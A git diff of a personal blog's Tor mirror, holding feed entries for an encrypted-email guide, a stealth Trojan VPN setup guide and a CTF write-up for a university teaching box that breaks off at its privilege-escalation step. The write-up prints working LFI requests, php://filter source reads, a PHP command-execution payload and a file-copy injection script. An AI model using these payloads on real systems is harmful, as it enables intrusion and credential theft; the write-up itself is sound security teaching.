    + + +
    +
    +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends +

    +
    +
    +

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    +
    +
    October 30, 2025 · 10 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Stealth Trojan VPN Behind Cloudflare Guide +

    +
    +
    +

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    +
    +
    September 9, 2025 · 4 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/privacy/index.xml b/public-onion/tags/privacy/index.xml new file mode 100644 index 0000000..835f085 --- /dev/null +++ b/public-onion/tags/privacy/index.xml @@ -0,0 +1,360 @@ + + + + Privacy on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/privacy/ + Recent content in Privacy on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 30 Oct 2025 00:00:00 +0000 + + + Sending End‑to‑End Encrypted Email (E2EE) without losing friends + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + A practical, mildly opinionated guide to sending encrypted email that normal people can actually read. + If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    +
    + + Stealth Trojan VPN Behind Cloudflare Guide + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + <h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p> + Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/privacy/page/1/index.html b/public-onion/tags/privacy/page/1/index.html new file mode 100644 index 0000000..0a98182 --- /dev/null +++ b/public-onion/tags/privacy/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/privacy/ + + + + + + diff --git a/public-onion/tags/privesc/index.html b/public-onion/tags/privesc/index.html new file mode 100644 index 0000000..1d937a0 --- /dev/null +++ b/public-onion/tags/privesc/index.html @@ -0,0 +1,352 @@ + + + + + + + +Privesc | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job +

    +
    +
    +

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    +
    +
    June 5, 2026 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/privesc/index.xml b/public-onion/tags/privesc/index.xml new file mode 100644 index 0000000..f5a9239 --- /dev/null +++ b/public-onion/tags/privesc/index.xml @@ -0,0 +1,379 @@ + + + + Privesc on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/privesc/ + Recent content in Privesc on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 05 Jun 2026 12:00:00 +0000 + + + A TU Wien CTF where Sysops Klaus left the keys in the cron job + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. + +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

